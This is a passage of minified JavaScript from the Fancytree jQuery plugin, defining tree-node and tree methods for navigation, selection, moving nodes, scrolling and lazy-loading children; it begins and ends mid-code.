r},debug:function(e){if(this.tree.options.debugLevel>=4){Array.prototype.unshift.call(arguments,this.toString());A("log",arguments)}},discard:function(){this.warn("FancytreeNode.discard() is deprecated since 2014-02-16. Use .resetLazy() instead.");return this.resetLazy()},discardMarkup:function(e){var t=e?"nodeRemoveMarkup":"nodeRemoveChildMarkup";this.tree._callHook(t,this)},error:function(e){if(this.tree.options.debugLevel>=1){Array.prototype.unshift.call(arguments,this.toString());A("error",arguments)}},findAll:function(e){e=k(e)?e:M(e);var t=[];this.visit((function(n){if(e(n)){t.push(n)}}));return t},findFirst:function(e){e=k(e)?e:M(e);var t=null;this.visit((function(n){if(e(n)){t=n;return false}}));return t},findRelatedNode:function(e,t){return this.tree.findRelatedNode(this,e,t)},_changeSelectStatusAttrs:function(e){var t=false,n=this.tree.options,r=i.evalOption("unselectable",this,this,n,false),s=i.evalOption("unselectableStatus",this,this,n,undefined);if(r&&s!=null){e=s}switch(e){case false:t=this.selected||this.partsel;this.selected=false;this.partsel=false;break;case true:t=!this.selected||!this.partsel;this.selected=true;this.partsel=true;break;case undefined:t=this.selected||!this.partsel;this.selected=false;this.partsel=true;break;default:w(false,"invalid state: "+e)}if(t){this.renderStatus()}return t},fixSelection3AfterClick:function(e){var t=this.isSelected();this.visit((function(e){e._changeSelectStatusAttrs(t);if(e.radiogroup){return"skip"}}));this.fixSelection3FromEndNodes(e)},fixSelection3FromEndNodes:function(e){var t=this.tree.options;w(t.selectMode===3,"expected selectMode 3");function n(e){var r,s,o,a,l,u,c,f,d,h=e.children;if(h&&h.length){u=true;c=false;for(r=0,s=h.length;r<s;r++){o=h[r];a=n(o);f=i.evalOption("unselectableIgnore",o,o,t,false);if(!f){if(a!==false){c=true}if(a!==true){u=false}}}l=u?true:c?undefined:false}else{d=i.evalOption("unselectableStatus",e,e,t,undefined);l=d==null?!!e.selected:!!d}if(e.partsel&&!e.selected&&e.lazy&&e.children==null){l=undefined}e._changeSelectStatusAttrs(l);return l}n(this);this.visitParents((function(e){var n,r,s,o,a,l,u=e.children,c=true,f=false;for(n=0,r=u.length;n<r;n++){s=u[n];a=i.evalOption("unselectableIgnore",s,s,t,false);if(!a){l=i.evalOption("unselectableStatus",s,s,t,undefined);o=l==null?!!s.selected:!!l;if(o||s.partsel){f=true}if(!o){c=false}}}o=c?true:f?undefined:false;e._changeSelectStatusAttrs(o)}))},fromDict:function(t){for(var n in t){if(y[n]){this[n]=t[n]}else if(n==="data"){e.extend(this.data,t.data)}else if(!k(t[n])&&!_[n]){this.data[n]=t[n]}}if(t.children){this.removeChildren();this.addChildren(t.children)}this.renderTitle()},getChildren:function(){if(this.hasChildren()===undefined){return undefined}return this.children},getFirstChild:function(){return this.children?this.children[0]:null},getIndex:function(){return e.inArray(this,this.parent.children)},getIndexHier:function(t,n){t=t||".";var i,r=[];e.each(this.getParentList(false,true),(function(e,t){i=""+(t.getIndex()+1);if(n){i=("0000000"+i).substr(-n)}r.push(i)}));return r.join(t)},getKeyPath:function(e){var t=this.tree.options.keyPathSeparator;return t+this.getPath(!e,"key",t)},getLastChild:function(){return this.children?this.children[this.children.length-1]:null},getLevel:function(){var e=0,t=this.parent;while(t){e++;t=t.parent}return e},getNextSibling:function(){if(this.parent){var e,t,n=this.parent.children;for(e=0,t=n.length-1;e<t;e++){if(n[e]===this){return n[e+1]}}}return null},getParent:function(){return this.parent},getParentList:function(e,t){var n=[],i=t?this:this.parent;while(i){if(e||i.parent){n.unshift(i)}i=i.parent}return n},getPath:function(e,t,n){e=e!==false;t=t||"title";n=n||"/";var i,r=[],s=k(t);this.visitParents((function(e){if(e.parent){i=s?t(e):e[t];r.unshift(i)}}),e);return r.join(n)},getPrevSibling:function(){if(this.parent){var e,t,n=this.parent.children;for(e=1,t=n.length;e<t;e++){if(n[e]===this){return n[e-1]}}}return null},getSelectedNodes:function(e){var t=[];this.visit((function(n){if(n.selected){t.push(n);if(e===true){return"skip"}}}));return t},hasChildren:function(){if(this.lazy){if(this.children==null){return undefined}else if(this.children.length===0){return false}else if(this.children.length===1&&this.children[0].isStatusNode()){return undefined}return true}return!!(this.children&&this.children.length)},hasClass:function(e){return(" "+(this.extraClasses||"")+" ").indexOf(" "+e+" ")>=0},hasFocus:function(){return this.tree.hasFocus()&&this.tree.focusNode===this},info:function(e){if(this.tree.options.debugLevel>=3){Array.prototype.unshift.call(arguments,this.toString());A("info",arguments)}},isActive:function(){return this.tree.activeNode===this},isBelowOf:function(e){return this.getIndexHier(".",5)>e.getIndexHier(".",5)},isChildOf:function(e){return this.parent&&this.parent===e},isDescendantOf:function(t){if(!t||t.tree!==this.tree){return false}var n=this.parent;while(n){if(n===t){return true}if(n===n.parent){e.error("Recursive parent link: "+n)}n=n.parent}return false},isExpanded:function(){return!!this.expanded},isFirstSibling:function(){var e=this.parent;return!e||e.children[0]===this},isFolder:function(){return!!this.folder},isLastSibling:function(){var e=this.parent;return!e||e.children[e.children.length-1]===this},isLazy:function(){return!!this.lazy},isLoaded:function(){return!this.lazy||this.hasChildren()!==undefined},isLoading:function(){return!!this._isLoading},isRoot:function(){return this.isRootNode()},isPartsel:function(){return!this.selected&&!!this.partsel},isPartload:function(){return!!this.partload},isRootNode:function(){return this.tree.rootNode===this},isSelected:function(){return!!this.selected},isStatusNode:function(){return!!this.statusNodeType},isPagingNode:function(){return this.statusNodeType==="paging"},isTopLevel:function(){return this.tree.rootNode===this.parent},isUndefined:function(){return this.hasChildren()===undefined},isVisible:function(){var e,t,n,i=this.tree.enableFilter,r=this.getParentList(false,false);if(i&&!this.match&&!this.subMatchCount){return false}for(e=0,t=r.length;e<t;e++){n=r[e];if(!n.expanded){return false}}return true},lazyLoad:function(t){e.error("FancytreeNode.lazyLoad() is deprecated since 2014-02-16. Use .load() instead.")},load:function(e){var t,n,i=this,r=this.isExpanded();w(this.isLazy(),"load() requires a lazy node");if(!e&&!this.isUndefined()){return N(this)}if(this.isLoaded()){this.resetLazy()}n=this.tree._triggerNodeEvent("lazyLoad",this);if(n===false){return N(this)}w(typeof n!=="boolean","lazyLoad event must return source in data.result");t=this.tree._callHook("nodeLoadChildren",this,n);if(r){this.expanded=true;t.always((function(){i.render()}))}else{t.always((function(){i.renderStatus()}))}return t},makeVisible:function(t){var n,i=this,r=[],s=new e.Deferred,o=this.getParentList(false,false),a=o.length,l=!(t&&t.noAnimation===true),u=!(t&&t.scrollIntoView===false);for(n=a-1;n>=0;n--){r.push(o[n].setExpanded(true,t))}e.when.apply(e,r).done((function(){if(u){i.scrollIntoView(l).done((function(){s.resolve()}))}else{s.resolve()}}));return s.promise()},moveTo:function(t,n,i){if(n===undefined||n==="over"){n="child"}else if(n==="firstChild"){if(t.children&&t.children.length){n="before";t=t.children[0]}else{n="child"}}var r,s=this.tree,o=this.parent,a=n==="child"?t:t.parent;if(this===t){return}else if(!this.parent){e.error("Cannot move system root")}else if(a.isDescendantOf(this)){e.error("Cannot move a node to its own descendant")}if(a!==o){o.triggerModifyChild("remove",this)}if(this.parent.children.length===1){if(this.parent===a){return}this.parent.children=this.parent.lazy?[]:null;this.parent.expanded=false}else{r=e.inArray(this,this.parent.children);w(r>=0,"invalid source parent");this.parent.children.splice(r,1)}this.parent=a;if(a.hasChildren()){switch(n){case"child":a.children.push(this);break;case"before":r=e.inArray(t,a.children);w(r>=0,"invalid target parent");a.children.splice(r,0,this);break;case"after":r=e.inArray(t,a.children);w(r>=0,"invalid target parent");a.children.splice(r+1,0,this);break;default:e.error("Invalid mode "+n)}}else{a.children=[this]}if(i){t.visit(i,true)}if(a===o){a.triggerModifyChild("move",this)}else{a.triggerModifyChild("add",this)}if(s!==t.tree){this.warn("Cross-tree moveTo is experimental!");this.visit((function(e){e.tree=t.tree}),true)}s._callHook("treeStructureChanged",s,"moveTo");if(!o.isDescendantOf(a)){o.render()}if(!a.isDescendantOf(o)&&a!==o){a.render()}},navigate:function(t,n){var i,r=e.ui.keyCode;switch(t){case"left":case r.LEFT:if(this.expanded){return this.setExpanded(false)}break;case"right":case r.RIGHT:if(!this.expanded&&(this.children||this.lazy)){return this.setExpanded()}break}i=this.findRelatedNode(t);if(i){try{i.makeVisible({scrollIntoView:false})}catch(e){}if(n===false){i.setFocus();return N()}return i.setActive()}this.warn("Could not find related node '"+t+"'.");return N()},remove:function(){return this.parent.removeChild(this)},removeChild:function(e){return this.tree._callHook("nodeRemoveChild",this,e)},removeChildren:function(){return this.tree._callHook("nodeRemoveChildren",this)},removeClass:function(e){return this.toggleClass(e,false)},render:function(e,t){return this.tree._callHook("nodeRender",this,e,t)},renderTitle:function(){return this.tree._callHook("nodeRenderTitle",this)},renderStatus:function(){return this.tree._callHook("nodeRenderStatus",this)},replaceWith:function(n){var i,r=this.parent,s=e.inArray(this,r.children),o=this;w(this.isPagingNode(),"replaceWith() currently requires a paging status node");i=this.tree._callHook("nodeLoadChildren",this,n);i.done((function(e){var n=o.children;for(t=0;t<n.length;t++){n[t].parent=r}r.children.splice.apply(r.children,[s+1,0].concat(n));o.children=null;o.remove();r.render()})).fail((function(){o.setExpanded()}));return i},resetLazy:function(){this.removeChildren();this.expanded=false;this.lazy=true;this.children=undefined;this.renderStatus()},scheduleAction:function(t,n){if(this.tree.timer){clearTimeout(this.tree.timer);this.tree.debug("clearTimeout(%o)",this.tree.timer)}this.tree.timer=null;var i=this;switch(t){case"cancel":break;case"expand":this.tree.timer=setTimeout((function(){i.tree.debug("setTimeout: trigger expand");i.setExpanded(true)}),n);break;case"activate":this.tree.timer=setTimeout((function(){i.tree.debug("setTimeout: trigger activate");i.setActive(true)}),n);break;default:e.error("Invalid mode "+t)}},scrollIntoView:function(t,n){if(n!==undefined&&T(n)){throw Error("scrollIntoView() with 'topNode' option is deprecated since 2014-05-08. Use 'options.topNode' instead.")}var i=e.extend({effects:t===true?{duration:200,queue:false}:t,scrollOfs:this.tree.options.scrollOfs,scrollParent:this.tree.options.scrollParent,topNode:null},n),r=i.scrollParent,s=this.tree.$container,o=s.css("overflow-y");if(!r){if(this.tree.tbody){r=s.scrollParent()}else if(o==="scroll"||o==="auto"){r=s}else{r=s.scrollParent()}}else if(!r.jquery){r=e(r)}if(r[0]===document||r[0]===document.body){this.debug("scrollIntoView(): normalizing scrollParent to 'window':",r[0]);r=e(window)}var a,l,u,c,f=new e.Deferred,d=this,h=e(this.span).height(),p=i.scrollOfs.top||0,g=i.scrollOfs.bottom||0,v=r.height(),m=r.scrollTop(),y=r,b=r[0]===window,_=i.topNode||null,x=null;if(this.isRootNode()||!this.isVisible()){this.info("scrollIntoView(): node is invisible.");return N()}if(b){l=e(this.span).offset().top;a=_&&_.span?e(_.span).offset().top:0;y=e("html,body")}else{w(r[0]!==document&&r[0]!==document.body,"scrollParent should be a simple element or `window`, not document or body.");c=r.offset().top;l=e(this.span).offset().top-c+m;a=_?e(_.span).offset().top-c+m:0;u=Math.max(0,r.innerHeight()-r[0].clientHeight);v-=u}if(l<m+p){x=l-p}else if(l+h>m+v-g){x=l+h-v+g;if(_){w(_.isRootNode()||_.isVisible(),"topNode must be visible");if(a<x){x=a-p}}}if(x===null){f.resolveWith(this)}else{if(i.effects){i.effects.complete=function(){f.resolveWith(d)};y.stop(true).animate({scrollTop:x},i.effects)}else{y[0].scrollTop=x;f.resolveWith(this)}}return f.promise()},setActive:function(e,t){return this.tree._callHook("nodeSetActive",this,e,t)},setExpanded:function(e,t){return this.tree._callHook("nodeSetExpanded",this,e,t)},setFocus:function(e){return this.tree._callHook("nodeSetFocus",this,e)},setSelected:function(e,t){return this.tree._callHook("nodeSetSelected",this,e,t)},setStatus:function(e,t,n){return this.tree._callHook("nodeSetStatus",this,e,t,n)},setTitle:function(e){this.title=e;this.renderTitle();this.triggerModify("rename")},sortChildren:function(e,t){var n,i,r=this.children;if(!r){return}e=e||function(e,t){var n=e.title.toLowerCase(),i=t.title.toLowerCase();return n===i?0:n>i?1:-1};r.sort(e);if(t){for(n=0,i=r.length;n<i;n++){if(r[n].children){r[n].sortChildren(e,"$norender$")}}}if(t!=="$norender$"){this.render()}this.triggerModifyChild("sort")},toDict:function(t,n){var i,r,s,o,a={},l=this;e.each(m,(function(e,t){if(l[t]||l[t]===false){a[t]=l[t]}}));if(!e.isEmptyObject(this.data)){a.data=e.extend({},this.data);if(e.isEmptyObject(a.data)){delete a.data}}if(n){o=n(a,l);if(o===false){return false}if(o==="skip"){t=false}}if(t){if(E(this.children)){a.children=[];for(i=0,r=this.children.length;i<r;i++){s=this.children[i];if(!s.isStatusNode()){o=s.toDict(true,n);if(o!==false){a.children.push(o)}}}}}return a},toggleClass:function(t,n){var i,r,s=/\S+/g,o=t.match(s)||[],a=0,l=false,u=this[this.tree.statusClassPropName],c=" "+(this.extraClasses||"")+" ";if(u){e(u).toggleClass(t,n)}while(i=o[a++]){r=c.indexOf(" "+i+" ")>=0;n=n===undefined?!r:!!n;if(n){if(!r){c+=i+" ";l=true}}else{while(c.indexOf(" "+i+" ")>-1){c=c.replace(" "+i+" "," ")}}}this.extraClasses=C(c);return l},toggleExpanded:function(){return this.tree._callHook("nodeToggleExpanded",this)},toggleSelected:function(){return this.tree._callHook("nodeToggleSelected",this)},toString:function(){return"FancytreeNode@"+this.key+"[title='"+this.title+"']"},triggerModifyChild:function(t,n,i){var r,s=this.tree.options.modifyChild;if(s){if(n&&n.parent!==this){e.error("childNode "+n+" is not a child of "+this)}r={node:this,tree:this.tree,operation:t,childNode:n||null};if(i){e.extend(r,i)}s({type:"modifyChild"},r)}},triggerModify:function(e,t){this.parent.triggerModifyChild(e,this,t)},visit:function(e,t){var n,i,r=true,s=this.children;if(t===true){r=e(this);if(r===false||r==="skip"){return r}}if(s){for(n=0,i=s.length;n<i;n++){r=s[n].visit(e,true);if(r===false){break}}}return r},visitAndLoad:function(t,n,i){var r,s,o,a=this;if(t&&n===true){s=t(a);if(s===false||s==="skip"){return i?s:N()}}if(!a.children&&!a.lazy){return N()}r=new e.Deferred;o=[];a.load().done((function(){for(var n=0,i=a.children.length;n<i;n++){s=a.children[n].visitAndLoad(t,true,true);if(s===false){r.reject();break}else if(s!=="skip"){o.push(s)}}e.when.apply(this,o).then((function(){r.resolve()}))}));return r.promise()},visitParents:function(e,t){if(t&&e(this)===false){return false}var n=this.parent;while(n){if(e(n)===false){return false}n=n.parent}return true},visitSiblings:function(e,t){var n,i,r,s=this.parent.children;for(n=0,i=s.length;n<i;n++){r=s[n];if(t||r!==this){if(e(r)===false){return false}}}return true},warn:function(e){if(this.tree.options.debugLevel>=2){Array.prototype.unshift.call(arguments,this.toString());A("warn",arguments)}}};function H(t){this.widget=t;this.$div=t.element;this.options=t.options;if(this.options){if(this.options.lazyload!==undefined){e.error("The 'lazyload' event is deprecated since 2014-02-25. Use 'lazyLoad' (with uppercase L) instead.")}if(this.options.loaderror!==undefined){e.error("The 'loaderror' event was renamed since 2014-07-03. Use 'loadError' (with uppercase E) instead.")}if(this.options.fx!==undefined){e.error("The 'fx' option was replaced by 'toggleEffect' since 2014-11-30.")}if(this.options.removeNode!==undefined){e.error("The 'removeNode' event was replaced by 'modifyChild' since 2.20 (2016-09-10).")}}this.ext={};this.types={};this.columns={};this.data=F(this.$div);this._id=""+(this.options.treeId||e.ui.fancytree._nextId++);this._ns=".fancytree-"+this._id;this.activeNode=null;this.focusNode=null;this._hasFocus=null;this._tempCache={};this._lastMousedownNode=null;this._enableUpdate=true;this.lastSelectedNode=null;this.systemFocusElement=null;this.lastQuicksearchTerm="";this.lastQuicksearchTime=0;this.viewport=null;this.statusClassPropName="span";this.ariaPropName="li";this.nodeContainerAttrName="li";this.$div.find(">ul.fancytree-container").remove();var n={tree:this},r;this.rootNode=new R(n,{title:"root",key:"root_"+this._id,children:null,expanded:true});this.rootNode.parent=null;r=e("<ul>",{id:"ft-id-"+this._id,class:"ui-fancytree fancytree-container fancytree-plain"}).appendTo(this.$div);this.$container=r;this.rootNode.ul=r[0];if(this.options.debugLevel==null){this.options.debugLevel=i.debugLevel}}H.prototype={_makeHookContext:function(t,n,i){var r,s;if(t.node!==undefined){if(n&&t.originalEvent!==n){e.error("invalid args")}r=t}else if(t.tree){s=t.tree;r={node:t,tree:s,widget:s.widget,options:s.widget.options,originalEvent:n,typeInfo:s.types[t.type]||{}}}else if(t.widget){r={node:null,tree:t,widget:t.widget,options:t.widget.options,originalEvent:n}}else{e.error("invalid args")}if(i){e.extend(r,i)}return r},_callHook:function(t,n,i){var r=this._makeHookContext(n),s=this[t],o=Array.prototype.slice.call(arguments,2);if(!k(s)){e.error("_callHook('"+t+"') is not a function")}o.unshift(r);return s.apply(this,o)},_setExpiringValue:function(e,t,n){this._tempCache[e]={value:t,expire:Date.now()+(+n||50)}},_getExpiringValue:function(e){var t=this._tempCache[e];if(t&&t.expire>Date.now()){return t.value}delete this._tempCache[e];return null},_usesExtension:function(t){return e.inArray(t,this.options.extensions)>=0},_requireExtension:function(t,n,i,r){if(i!=null){i=!!i}var s=this._local.name,o=this.options.extensions,a=e.inArray(t,o)<e.inArray(s,o),l=n&&this.ext[t]==null,u=!l&&i!=null&&i!==a;w(s&&s!==t,"invalid or same name '"+s+"' (require yourself?)");if(l||u){if(!r){if(l||n){r="'"+s+"' extension requires '"+t+"'";if(u){r+=" to be registered "+(i?"before":"after")+" itself"}}else{r="If used together, `"+t+"` must be registered "+(i?"before":"after")+" `"+s+"`"}}e.error(r);return false}return true},activateKey:function(e,t){var n=this.getNodeByKey(e);if(n){n.setActive(true,t)}else if(this.activeNode){this.activeNode.setActive(false,t)}return n},addPagingNode:function(e,t){return this.rootNode.addPagingNode(e,t)},applyCommand:function(t,n,i){var r;n=n||this.getActiveNode();switch(t){case"moveUp":r=n.getPrevSibling();if(r){n.moveTo(r,"before");n.setActive()}break;case"moveDown":r=n.getNextSibling();if(r){n.moveTo(r,"after");n.setActive()}break;case"indent":r=n.getPrevSibling();if(r){n.moveTo(r,"child");r.setExpanded();n.setActive()}break;case"outdent":if(!n.isTopLevel()){n.moveTo(n.getParent(),"after");n.setActive()}break;case"remove":r=n.getPrevSibling()||n.getParent();n.remove();if(r){r.setActive()}break;case"addChild":n.editCreateNode("child","");break;case"addSibling":n.editCreateNode("after","");break;case"rename":n.editStart();break;case"down":case"first":case"last":case"left":case"parent":case"right":case"up":return n.navigate(t);default:e.error("Unhandled command: '"+t+"'")}},applyPatch:function(t){var n,i,r,s,o,a,l=t.length,u=[];for(i=0;i<l;i++){r=t[i];w(r.length===2,"patchList must be an array of length-2-arrays");s=r[0];o=r[1];a=s===null?this.rootNode:this.getNodeByKey(s);if(a){n=new e.Deferred;u.push(n);a.applyPatch(o).always(L(n,a))}else{this.warn("could not find node with key '"+s+"'")}}return e.when.apply(e,u).promise()},clear:function(e){this._callHook("treeClear",this)},count:function(){return this.rootNode.countChildren()},debug:function(e){if(this.options.debugLevel>=4){Array.prototype.unshift.call(arguments,this.toString());A("log",arguments)}},destroy:function(){this.widget.destroy()},enable:function(e){if(e===false){this.widget.disable()}else{this.widget.enable()}},enableUpdate:function(e){e=e!==false;if(!!this._enableUpdate===!!e){return e}this._enableUpdate=e;if(e){this.debug("enableUpdate(true): redraw ");this._callHook("treeStructureChanged",this,"enableUpdate");this.render()}else{this.debug("enableUpdate(false)...")}return!e},error:function(e){if(this.options.debugLevel>=1){Array.prototype.unshift.call(arguments,this.toString());A("error",arguments)}},expandAll:function(e,t){var n=this.enableUpdate(false);e=e!==false;this.visit((function(n){if(n.hasChildren()!==false&&n.isExpanded()!==e){n.setExpanded(e,t)}}));this.enableUpdate(n)},findAll:function(e){return this.rootNode.findAll(e)},findFirst:function(e){return this.rootNode.findFirst(e)},findNextNode:function(e,t){var n=null,i=this.getFirstChild();e=typeof e==="string"?$(e):e;t=t||i;function r(i){if(e(i)){n=i}if(n||i===t){return false}}this.visitRows(r,{start:t,includeSelf:false});if(!n&&t!==i){this.visitRows(r,{start:i,includeSelf:true})}return n},findRelatedNode:function(t,n,i){var r=null,s=e.ui.keyCode;switch(n){case"parent":case s.BACKSPACE:if(t.parent&&t.parent.parent){r=t.parent}break;case"first":case s.HOME:this.visit((function(e){if(e.isVisible()){r=e;return false}}));break;case"last":case s.END:this.visit((function(e){if(e.isVisible()){r=e}}));break;case"left":case s.LEFT:if(t.expanded){t.setExpanded(false)}else if(t.parent&&t.parent.parent){r=t.parent}break;case"right":case s.RIGHT:if(!t.expanded&&(t.children||t.lazy)){t.setExpanded();r=t}else if(t.children&&t.children.length){r=t.children[0]}break;case"up":case s.UP:this.visitRows((function(e){r=e;return false}),{start:t,reverse:true,includeSelf:false});break;case"down":case s.DOWN:this.visitRows((function(e){r=e;return false}),{start:t,includeSelf:false});break;default:this.tree.warn("Unknown relation '"+n+"'.")}return r},generateFormElements:function(t,n,i){i=i||{};var r,s=typeof t==="string"?t:"ft_"+this._id+"[]",o=typeof n==="string"?n:"ft_"+this._id+"_active",a="fancytree_result_"+this._id,l=e("#"+a),u=this.options.selectMode===3&&i.stopOnParents!==false;if(l.length){l.empty()}else{l=e("<div>",{id:a}).hide().insertAfter(this.$container)}if(n!==false&&this.activeNode){l.append(e("<input>",{type:"radio",name:o,value:this.activeNode.key,checked:true}))}function c(t){l.append(e("<input>",{type:"checkbox",name:s,value:t.key,checked:true}))}if(i.filter){this.visit((function(e){var t=i.filter(e);if(t==="skip"){return t}if(t!==false){c(e)}}))}else if(t!==false){r=this.getSelectedNodes(u);e.each(r,(function(e,t){c(t)}))}},getActiveNode:function(){return this.activeNode},getFirstChild:function(){return this.rootNode.getFirstChild()},getFocusNode:function(){return this.focusNode},getOption:function(e){return this.widget.option(e)},getNodeByKey:function(e,t){var n,i;if(!t){n=document.getElementById(this.options.idPrefix+e);if(n){return n.ftnode?n.ftnode:null}}t=t||this.rootNode;i=null;e=""+e;t.visit((function(t){if(t.key===e){i=t;return false}}),true);return i},getRootNode:function(){return this.rootNode},getSelectedNodes:function(e){return this.rootNode.getSelectedNodes(e)},hasFocus:function(){return!!this._hasFocus},info:function(e){if(this.options.debugLevel>=3){Array.prototype.unshift.call(arguments,this.toString());A("info",arguments)}},isLoading:function(){var e=false;this.rootNode.visit((function(t){if(t._isLoading||t._requestId){e=true;return false}}),true);return e},loadKeyPath:function(t,n){var i,r,s,o=this,a=new e.Deferred,l=this.getRootNode(),u=this.options.keyPathSeparator,c=[],f=e.extend({},n);if(typeof n==="function"){i=n}else if(n&&n.callback){i=n.callback}f.callback=function(e,t,n){if(i){i.call(e,t,n)}a.notifyWith(e,[{node:t,status:n}])};if(f.matchKey==null){f.matchKey=function(e,t){return e.key===t}}if(!E(t)){t=[t]}for(r=0;r<t.length;r++){s=t[r];if(s.charAt(0)===u){s=s.substr(1)}c.push(s.split(u))}setTimeout((function(){o._loadKeyPathImpl(a,f,l,c).done((function(){a.resolve()}))}),0);return a.promise()},_loadKeyPathImpl:function(t,n,i,r){var s,o,a,l,u,c,f,d,h,p,g=this;function v(e,t){var i,r,s=e.children;if(s){for(i=0,r=s.length;i<r;i++){if(n.matchKey(s[i],t)){return s[i]}}}return null}f={};for(o=0;o<r.length;o++){h=r[o];d=i;while(h.length){a=h.shift();l=v(d,a);if(!l){this.warn("loadKeyPath: key not found: "+a+" (parent: "+d+")");n.callback(this,a,"error");break}else if(h.length===0){n.callback(this,l,"ok");break}else if(!l.lazy||l.hasChildren()!==undefined){n.callback(this,l,"loaded");d=l}else{n.callback(this,l,"loaded");a=l.key;if(f[a]){f[a].pathSegList.push(h)}else{f[a]={parent:l,pathSegList:[h]}}break}}}s=[];function m(e,t,i){n.callback(g,t,"loading");t.load().done((function(){g._loadKeyPathImpl.call(g,e,n,t,i).always(L(e,g))})).fail((function(i){g.warn("loadKeyPath: error loading lazy "+t);n.callback(g,l,"error");e.rejectWith(g)}))}for(u in f){if(x(f,u)){c=f[u];p=new e.Deferred;s.push(p);m(p,c.parent,c.pathSegList)}}return e.when.apply(e,s).promise()},reactivate:function(e){var t,n=this.activeNode;if(!n){return N()}this.activeNode=null;t=n.setActive(true,{noFocus:true});if(e){n.setFocus()}return t},reload:function(e){this._callHook("treeClear",this);return this._callHook("treeLoad",this,e)},render:function(e,t){return this.rootNode.render(e,t)},selectAll:function(e){this.visit((function(t){t.setSelected(e)}))},setFocus:function(e){return this._callHook("treeSetFocus",this,e)},setOption:function(e,t){return this.widget.option(e,t)},debugTime:function(e){if(this.options.debugLevel>=4){window.console.time(this+" - "+e)}},debugTimeEnd:function(e){if(this.options.debugLevel>=4){window.console.timeEnd(this+" - "+e)}},toDict:function(e,t){var n=this.rootNode.toDict(true,t);return e?n:n.children},toString:function(){return"Fancytree@"+this._id},_triggerNodeEvent:function(e,t,n,i){var r=this._makeHookContext(t,n,i),s=this.widget._trigger(e,n,r);if(s!==false&&r.result!==undefined){return r.result}return s},_triggerTreeEvent:function(e,t,n){var i=this._makeHookContext(this,t,n),r=this.widget._trigger(e,t,i);if(r!==false&&i.result!==undefined){return i.result}return r},visit:function(e){return this.rootNode.visit(e,false)},visitRows:function(e,t){if(!this.rootNode.hasChildren()){return false}if(t&&t.reverse){delete t.reverse;return this._visitRowsUp(e,t)}t=t||{};var n,i,r,s,o,a=0,l=t.includeSelf===false,u=!!t.includeHidden,c=!u&&this.enableFilter,f=t.start||this.rootNode.children[0];r=f.parent;while(r){o=r.children;i=o.indexOf(f)+a;w(i>=0,"Could not find "+f+" in parent's children: "+r);for(n=i;n<o.length;n++){f=o[n];if(c&&!f.match&&!f.subMatchCount){continue}if(!l&&e(f)===false){return false}l=false;if(f.children&&f.children.length&&(u||f.expanded)){s=f.visit((function(t){if(c&&!t.match&&!t.subMatchCount){return"skip"}if(e(t)===false){return false}if(!u&&t.children&&!t.expanded){return"skip"}}),false);if(s===false){return false}}}f=r;r=r.parent;a=1}return true},_visitRowsUp:function(e,t){var n,i,r,s=!!t.includeHidden,o=t.start||this.rootNode.children[0];while(true){r=o.parent;n=r.children;if(n[0]===o){o=r;if(!o.parent){break}n=r.children}else{i=n.indexOf(o);o=n[i-1];while((s||o.expanded)&&o.children&&o.children.length){n=o.children;r=o;o=n[n.length-1]}}if(!s&&!o.isVisible()){continue}if(e(o)===false){return false}}},warn:function(e){if(this.options.debugLevel>=2){Array.prototype.unshift.call(arguments,this.toString());A("warn",arguments)}}};e.extend(H.prototype,{nodeClick:function(e){var t,n,i=e.targetType,r=e.node;if(i==="expander"){if(r.isLoading()){r.debug("Got 2nd click while loading: ignored");return}this._callHook("nodeToggleExpanded",e)}else if(i==="checkbox"){this._callHook("nodeToggleSelected",e);if(e.options.focusOnSelect){this._callHook("nodeSetFocus",e,true)}}else{n=false;t=true;if(r.folder){switch(e.options.clickFolderMode){case 2:n=true;t=false;break;case 3:t=true;n=true;//!node.isExpanded(); break}}if(t){this.nodeSetFocus(e);this._callHook("nodeSetActive",e,true)}if(n){if(!t){}this._callHook("nodeToggleExpanded",e)}}},nodeCollapseSiblings:function(e,t){var n,i,r,s=e.node;if(s.parent){n=s.parent.children;for(i=0,r=n.length;i<r;i++){if(n[i]!==s&&n[i].expanded){this._callHook("nodeSetExpanded",n[i],false,t)}}}},nodeDblclick:function(e){if(e.targetType==="title"&&e.options.clickFolderMode===4){this._callHook("nodeToggleExpanded",e)}if(e.targetType==="title"){e.originalEvent.preventDefault()}},nodeKeydown:function(t){var n,r,s,o,a=t.originalEvent,l=t.node,u=t.tree,c=t.options,h=a.which,p=a.key||String.fromCharCode(h),g=!!(a.altKey||a.ctrlKey||a.metaKey),v=!d[h]&&!f[h]&&!g,m=e(a.target),y=true,b=!(a.ctrlKey||!c.autoActivate);if(!l){o=this.getActiveNode()||this.getFirstChild();if(o){o.setFocus();l=t.node=this.focusNode;l.debug("Keydown force focus on active node")}}if(c.quicksearch&&v&&!m.is(":input:enabled")){r=Date.now();if(r-u.lastQuicksearchTime>500){u.lastQuicksearchTerm=""}u.lastQuicksearchTime=r;u.lastQuicksearchTerm+=p;n=u.findNextNode(u.lastQuicksearchTerm,u.getActiveNode());if(n){n.setActive()}a.preventDefault();return}switch(i.eventToString(a)){case"+":case"=":u.nodeSetExpanded(t,true);break;case"-":u.nodeSetExpanded(t,false);break;case"space":if(l.isPagingNode()){u._triggerNodeEvent("clickPaging",t,a)}else if(i.evalOption("checkbox",l,l,c,false)){u.nodeToggleSelected(t)}else{u.nodeSetActive(t,true)}break;case"return":u.nodeSetActive(t,true);break;case"home":case"end":case"backspace":case"left":case"right":case"up":case"down":s=l.navigate(a.which,b);break;default:y=false}if(y){a.preventDefault()}},nodeLoadChildren:function(t,n){var i,r,s=null,o,u=true,c=t.tree,f=t.node,d=f.parent,h="nodeLoadChildren",p=Date.now();if(k(n)){n=n.call(c,{type:"source"},t);w(!k(n),"source callback must not return another function")}if(k(n.then)){s=n}else if(n.url){i=e.extend({},t.options.ajax,n);if(i.debugDelay){r=i.debugDelay;delete i.debugDelay;if(E(r)){r=r[0]+Math.random()*(r[1]-r[0])}f.warn("nodeLoadChildren waiting debugDelay "+Math.round(r)+" ms ...");s=e.Deferred((function(t){setTimeout((function(){e.ajax(i).done((function(){t.resolveWith(this,arguments)})).fail((function(){t.rejectWith(this,arguments)}))}),r)}))}else{s=e.ajax(i)}}else if(e.isPlainObject(n)||E(n)){s={then:function(e,t){e(n,null,null)}};u=false}else{e.error("Invalid source type: "+n)}if(f._requestId){f.warn("Recursive load request #"+p+" while #"+f._requestId+" is pending.");f._requestId=p}if(u){c.debugTime(h);c.nodeSetStatus(t,"loading")}o=new e.Deferred;s.then((function(i,r,s){var u,h;if((n.dataType==="json"||n.dataType==="jsonp")&&typeof i==="string"){e.error("Ajax request returned a string (did you get the JSON dataType 